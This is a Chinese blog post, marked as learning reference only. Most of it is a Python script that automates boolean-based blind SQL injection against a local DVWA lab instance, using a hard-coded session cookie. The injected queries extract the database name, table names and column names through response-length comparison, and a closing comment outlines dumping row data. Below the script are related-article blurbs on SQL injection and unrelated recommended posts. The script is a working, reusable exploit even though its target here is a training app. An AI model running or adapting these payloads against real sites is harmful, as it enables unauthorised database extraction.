python dvwa布尔盲注自动化脚本(level=low)
仅供学习代码参考
1#python dvwa布尔盲注自动化脚本
2 import requests
3 import string
4 import time
5 INIT_URL="http://127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/sqli_blind/index.php?id="
6 token={"security":"low","PHPSESSID":"p7g937ga5glcvg8m5hv9o9a2ht"} #登录身份识别
7 COLUMN_NUM=11
8 COLUMN_LEN=15
9 dbLen=0
10 dbname=''
11 table_num=0
12 table=[]
13 table_name='' #暂存用
14 column=[]
15 column_name=''#暂存用
16 rightLen=0
17
18 time_start=time.time()
19 url=INIT_URL+"1&Submit=Submit#"
20 rightLen=len(requests.get(url=url,cookies=token).text)
21 print("正常返回文本长度:"+str(rightLen))
22 #1.猜解数据库名长度 poc:" 1'and (select length(database()))="+str(dbLen)#"
23 while True:
24 dbLen +=1
25 dbUrl=INIT_URL+"1'and (select length(database()))="+str(dbLen)+"%23&Submit=Submit#"
26 print(dbUrl)
27 if len(requests.get(url=dbUrl,cookies=token).text)==rightLen:
28 print("数据库长度:"+str(dbLen))
29 break
30 #2.猜解数据库名字 poc:" 1'and(select mid(database(),"+str(i)+",1)='"+j+"')=1#"
31 for i in range(1,dbLen+1):
32 for j in string.ascii_lowercase:
33 dbnameUrl=INIT_URL+"1'and(select mid(database(),"+str(i)+",1)='"+j+"')=1%23&Submit=Submit#"
34 print(dbnameUrl)
35 if len(requests.get(url=dbnameUrl,cookies=token).text)==rightLen:
36 dbname+=j
37 break
38
39 print("数据库名字:"+dbname)
40
41 #3.猜解数据库表数量 poc:" 1'and (select count(table_name) from information_schema.tables where table_schema='"+dbname+"')="+str(i)#"
42
43 for i in range(100):
44 dbUrl=INIT_URL+"1'and (select count(table_name) from information_schema.tables where table_schema='"+dbname+"')="+str(i)+"%23&Submit=Submit#"
45 print(dbUrl)
46 if len(requests.get(dbUrl,cookies=token).text)==rightLen:
47 print("表数量"+str(i))
48 table_num=i
49 break
50
51 #4.猜解表名 poc:" 1'and (select ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1)))=103#
52
53 for i in range(table_num):
54 for k in range(COLUMN_LEN):
55 for j in range(48,123):
56 dbUrl=INIT_URL+"1'and (select ascii(substr((select table_name from information_schema.tables where table_schema='"+dbname+"' limit "+str(i)+",1),"+str(k)+",1)))="+str(j)+"%23&Submit=Submit#"
57 print(dbUrl)
58 if len(requests.get(dbUrl,cookies=token).text)==rightLen:
59 table_name+=chr(j)
60 print(table_name)
61 break
62 table.append(table_name)
63 table_name=''
64 print("表名:"+str(table))
65
66
67
68 #5.猜解列名 poc :" 1'and (select ascii(substr((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1),1,1)))=i
69
70
71 for m in range(table_num):
72 for i in range(COLUMN_NUM):
73 for k in range(COLUMN_LEN):
74 for j in range(48,123):
75 dbUrl=INIT_URL+"1'and (select ascii(substr((select column_name from information_schema.columns where table_schema='"+dbname+"'and table_name='"+table[m]+"' limit "+str(i)+",1),"+str(k)+",1)))="+str(j)+"%23&Submit=Submit#"
76 print(dbUrl)
77 if len(requests.get(dbUrl,cookies=token).text)==rightLen:
78 column_name+=chr(j)
79 print(column_name)
80 break
81 column_name+='/'
82 column.append(column_name)
83 column_name=''
84 print("列名:"+str(column))
85
86 time_end=time.time()
87 print('用时:',time_end-time_start,'s')
88 print("正常返回文本长度:"+str(rightLen))
89 print("数据库长度:"+str(dbLen))
90 print("数据库名字:"+dbname)
91 print("表数量"+str(i))
92 print("表名:"+str(table))
93 print("列名:"+str(column))
94 #6.拖库 poc: 1'and (select ascii(substr((select column[i] from dbname.table[j] limit 0,1),1,1)))=i
95 #具体列具体猜解,全部猜解时间太高
python dvwa布尔盲注自动化脚本(level=low)的更多相关文章
- sqli-labs第5关布尔盲注pyhton脚本
import requests import os #此函数先判断数据库长度 def length(url,str): num = 1 while True: str_num = '%d' %num ...
- 爱上python之盲注探测脚本
本文转自:i春秋论坛 前言: 最近在学python,做了个盲注的简单的跑用户的脚本,仅做个记录. sqmap也有不灵的时候,有时需要根据情况自写脚本探测 正文: 本地用大表姐给的sql和p ...
- sql布尔盲注和时间盲注的二分脚本
布尔盲注: import requests url = "http://challenge-f0b629835417963e.sandbox.ctfhub.com:10080/" ...
- sqli-labs less8-10(布尔盲注时间盲注)
less-8 布尔盲注 首先利用?id=1' and 1=1 --+和?id=1' and 1=2 --+确定id的类型为单引号''包裹.然后进行盲注. 盲注思路: 破解当前数据库名: and len ...
- WEB新手之布尔盲注
开始写SQL的题,单引号等特殊符号闭合漏洞比较简单,因此从Less-5开始写. 布尔盲注是多种盲注的一种,这种盲注方法也比较好理解.但使用这种盲注有一个前提,就是网页会有回显,透过这个回显,我们可以通 ...
- SQL注入之Sqli-labs系列第八篇(基于布尔盲注的注入)
开始挑战第八关(Blind- Boolian- Single Quotes- String) 这关首先需要用到以下函数: 开始测试,使用测试语句,利用单引号进行闭合 猜解字段 union select ...
- WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注
1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...
- 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注
前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...
- sqli-labs lesson 7-10 (文件导出,布尔盲注,延时注入)
写在前面: 首先需要更改一下数据库用户的权限用于我们之后的操作. 首先在mysql命令行中用show variables like '%secure%';查看 secure-file-priv 当前的 ...
随机推荐
- 树状数组(BIT)—— 一篇就够了
树状数组(BIT)-- 一篇就够了 前言.内容梗概 本文旨在讲解: 树状数组的原理(起源,原理,模板代码与需要注意的一些知识点) 树状数组的优势,缺点,与比较(eg:线段树) 树状数组的经典例题及其技 ...
- JDBC的学习(一)
JDBC的学习(一) 概念 所谓英文简写的意思是:Java DataBase Connectivity ,即 Java数据库的连接,用Java语言来操作数据库 本质 简单的来说,就是写这个JDBC的公 ...
- Python错误:AssertionError: group argument must be None for now
运行多线程出现的错误 调试了很久,最后发先 __init__ 写错了,修改后后,运行正确.
- 编程福利:50本C语言电子书,你还怕没书看吗!
推荐适合编程新手入门的几本经典的C语言书籍. 1.<C程序设计语言> C语言之父的著作,被称为C语言的的圣经.全球最经典的C语言教程.这本书最大的特点是精炼.读起来不会觉得"啰嗦 ...
- Cypress系列(67)- 环境变量设置指南
如果想从头学起Cypress,可以看下面的系列文章哦 https://www.cnblogs.com/poloyy/category/1768839.html 常见的环境变量设置方式 可参考这篇文章: ...
- flink 处理实时数据的三重保障
flink 处理实时数据的三重保障 window+watermark 来处理乱序数据对于 TumblingEventTimeWindows window 的元数据startTime,endTime 和 ...
- MSF权限维持
MSF权限维持 环境搭建 目标机:win7 ip:192.168.224.133 攻击机:kali linux ip:192.168.224.129 首先使用web_delivery模块的regsvr ...
- VS2010下python3的配置
最近突然又想学python,但用惯了vs2010后,十分希望能在vs2010中编译python的程序,于是,秉承着不作到死就不死心的原则就开始了我的配置之旅.但事实上并不难哦?.... 1.首先上场的 ...
- Prometheus入门教程(三):Grafana 图表配置快速入门
文章首发于[陈树义]公众号,点击跳转到原文:https://mp.weixin.qq.com/s/sA0nYevO8yz6QLRz03qJSw 前面我们使用 Prometheus + Grafana ...
- MVC注册
前言 最近没什么写的,写个MVC注册巩固一下 HTML @{ Layout = null; } <!DOCTYPE html> <html> <head> < ...
